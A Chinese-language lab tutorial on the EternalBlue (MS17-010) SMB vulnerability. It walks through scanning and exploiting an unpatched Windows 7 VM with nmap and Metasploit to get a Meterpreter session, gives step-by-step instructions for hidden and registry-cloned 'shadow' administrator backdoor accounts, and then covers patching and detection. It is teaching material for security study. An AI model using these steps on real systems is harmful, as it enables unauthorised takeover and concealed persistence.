windows经典漏洞之永恒之蓝
一、漏洞背景
- 爆发时间:2017年4⽉披露,2017年5⽉衍⽣出 Wannacry 勒索病毒全球爆发。
- 影响范围:波及全球学校、企业、政府机构,病毒加密⽤户⽂件后要求⽀付⽐特币赎⾦才能恢复。
- 漏洞原理:利⽤ Windows SMB v1 协议的漏洞,⽆需⽤户交互即可远程执⾏恶意代码。
- SMB 协议基础
- 定义:客户机/服务器架构的请求/响应协议,主要⽤于⽂件共享、打印机共享、⽹络登录等 。
- 关联端⼝:TCP 139 端⼝(NetBIOS 会话端⼝)、TCP 445 端⼝(SMB 直接连接端⼝)。
- ⽇常应⽤:Windows 系统"⽹上邻居"功能的底层依赖协议。
二、漏洞利⽤实验(Kali + Win7)
- 前提 :Windows 远程 RDP 连接(远程桌⾯连接)
连接方式有2种(二选一,哪个方便用哪个):
方式1:
方式2:命令开启远程桌⾯服务:(需要管理员身份运⾏cmd窗⼝),如下图:
在命令提示窗口中输入:reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 回车后即可获得:
显示以上页面表示已经成功开启远程桌⾯服务。
注意事项:
- 被控制电脑需有可登录的 Windows 账号和密码(账号需有远程访问权限,没有密码或权限不 够,⽆法成功连接)。
- 控制端电脑(操作的那台),需知道被控制电脑的IP 地址(可通过前⾯学的 ipconfig 命令查询),或同⼀⽹络下的电脑名称,才能定位并连接。
- 补充:两台电脑的防⽕墙,需允许 “远程桌⾯” 相关连接(默认开启远程桌⾯后,防⽕墙会⾃动放 ⾏,不⽤额外操作)。
好了,接下来就可以直接进入实战环节:
- 环境准备(kali + win7)
攻击机:Kali Linux(需联⽹配置,安装 Metasploit 框架)。
目标机:Windows 7 旗舰版(IP:192.168.157.130,开启 SMB 服务,未安装 MS17-010 补丁)。
2.利用步骤(在kali虚拟机上进行操作)
(1)漏洞扫描:通过 nmap 脚本检测⽬标是否存在 MS17-010 漏洞。
1 nmap --script smb-vuln* 192.168.157.130(此为目标机IP)
若出现"VULNERABLE"字样(如下图),则确认⽬标存在该漏洞。
(2)启动 Metasploit 框架
(3)搜索并加载漏洞利⽤模块
1 search ms17-010 # 搜索相关模块
2 use exploit/windows/smb/ms17_010_eternalblue # 选择永恒之蓝利⽤模块(输⼊对应序 2 号也可)
(4)配置攻击参数
1 show options # 查看需要配置的参数
2 set rhosts 192.168.157.130 # 设置⽬标机 IP (win7的IP)
3 set lhost 192.168.157.129 # 设置攻击机 IP(Kali的 IP)
(5)执⾏攻击 ,获取 Meterpreter 会话
1 exploit # 或输⼊ run 执⾏攻击
(6)攻击成功后,将获得⽬标机的 Meterpreter 交互式会话,如下图
此时,你就获得对方主机的控制权。
扩展:Meterpreter核心操作命令:
常用命令多敲一下就熟悉了。
获得对方的控制权限后,一般黑客会对你的计算机做哪些操作,我们根据黑客思路又可以做哪些防御措施。我们接着往下走。
三、Windows ⽤户与组管理
1.账户类型与权限等级
账户类型 | 权限描述 | 适⽤场景 |
管理员账户(Administrator) | 拥有系统完全控制权限,可修改安装软件、管理其他⽤户 | 服务器管理、系统维护 系统配置 |
标准⽤户账户 | 仅拥有⾃身⽂件操作和分软件 | 普通员⼯办公、个⼈⽇常使⽤使⽤权限,⽆法修改系统核⼼配置 |
来宾账户(Guest) | 权限最低,仅能浏览部分⽂件 | 临时访客使⽤ 默认禁⽤ |
2.⽂件/⽂件夹权限(NTFS 系统)
(1)图形界⾯配置⽅法
1. 右键⽬标⽂件/⽂件夹 → 选择「属性」→ 切换到「安全」选项卡。
2. 点击「编辑」→ 「添加」,输⼊⽤户名/组名(如 everyone 代表所有⽤户)。
3. 为⽤户/组分配权限(勾选对应权限类型),点击「确定」保存。
然后给勾对应的权限。
注意:如果你的组或用户名(G)莫名多出一个你不认识的用户,并且它的权限很高,就要注意。
- 常用权限类型说明
权限类型 | 核心功能 |
完全控制 | 可读取、修改、删除、重命名文件/文件夹,且能更改权限。 |
修改 | 可读取、修改、删除文件/文件夹,不能更改权限 |
读取和执行 | 可读取文件内容,运行可执行文件 |
列出文件夹内容 | 仅能查看文件夹内的文件列表,无法读取文件夹内容。 |
读取 | 仅能读取文件内容,不能修改或删除。 |
写入 | 可向文件写入内容或创建新文件,不能读取原有内容。 |
- 核心管理命令(CMD的命令)
命令 | 功能描述 | 示例 |
net user | 查看系统中所有用户账户 | net user |
net user 用户名 | 查看指定用户的详细信息 | net user admin |
net user 用户名 密码 / add | 创建新用户 | net user test 123456 / add |
net user 用户名 /delete | 删除用户 | net user test /delete |
net localgroup 组名 用户名 /add | 将用户添加到指定组(提升权限) | net localgroup administrators test /add (将test加入管理员组) |
net localgroup | 查看系统中所有用户组 | net localgroup |
注意:删除用户、修改管理员组等操作需谨慎,生产环境中需要提前获得授权,避免影响业务运行。
四、安全后门:隐藏用户与影子用户
1.隐藏用户(简单隐藏,易排查)
创建命令:net user test$ 123456 /add (用户名后加$,默认不在”计算机管理”和net user 列表中显示)。
用计算机net user命令是查看不到的。
排查方法:但是可以用net user test$ 指定用户名查询,如下图,计算机管理→本地用户和组→用户(开启[隐藏已知文件类型的扩展名]可以看到)。
一句话概括:隐藏用户在cmd窗口用net user命令查看不到,需要用"net user 用户名$" 查看或进到计算机管理中才能查看到。
2.影子用户(注册表隐藏,难排查)
原理:复制管理员账户(Administrator)的注册表权限信息,赋予普通用户,实现“普通用户+管理员权限”的隐藏控制。
操作步骤:
- 打开注册表编辑器:Win+R→输入 regedit →回车
- 定位路径:HKEY_LOCAL_MACHING\SAM\SAM,右键【SAM】→【权限】→勾选当前用户的【完全控制】→【确定】
- 展开路径:SAM\Domains\Account\Users\Names,找到【Administrator】,记录其对应的数值名称(通常为0×1f4)。
- 点击数值名称(如0×1f4),复制右侧【F】键值的数据。
- 创建普通隐藏用户:net user test$ 123456 /add
- 在【Names】路径下找到【test$】,记录其对应的数值名称(如0x1f5)。
- 点击【test$】对应的数值名称,将右侧的【F】键值替换为步骤4复制的管理员【F】键值。
- 导出该注册表项(文件→导出),然后删除test$用户:net user test$ /delete 。
- 后续可通过导入注册表文件恢复影子用户,且无明显账户记录。
排查建议:同时检查「计算机管理→本地⽤户和组」和注册SAM\Domains\Account\Users \Names 路径,对⽐异常数值名称与⽤户的对应关系。
一句话概括:影子用户需要同时在计算机管理和注册表中同时排查才能查到。
五、漏洞防御策略(针对永恒之蓝漏洞MS17-010)
1.禁⽤ SMBv1 协议(漏洞载体)
⽅法:控制⾯板→程序→程序和功能→启⽤或关闭 Windows 功能→取消勾选「SMB 1.0/CIFS⽂件共享⽀持」→「确定」。
2.安装安全补丁
通过 Windows Update ⾃动更新,或⼿动下载 MS17-010 对应补丁(KB4012212/KB4012215 等,根据系统版本选择)。
3.防⽕墙端⼝管控
阻⽌ TCP 139、445 端⼝的⼊站和出站连接(企业内⽹可根据业务需求配置IP⽩名单,仅允许授权设备访问)。
4.终端防护强化
不打开陌⽣邮件附件、不点击可疑链接,启⽤ Windows Defender 或安装第三⽅杀毒软件,保持病毒库更新。
六、Goby —系统漏洞扫描神器
核⼼功能:快速扫描⽬标系统的已知漏洞(⽀持 Windows、Linux 等系统),扫描速度快、误报率低。
下载地址:https://gobies.org/#dl
前置依赖:需安装 Npcap 组件(可通过安装 Wireshark 附带安装,或直接从 Npcap 官⽹下载)。
使⽤场景:渗透测试前期的漏洞探测、企业内⽹安全⾃查。
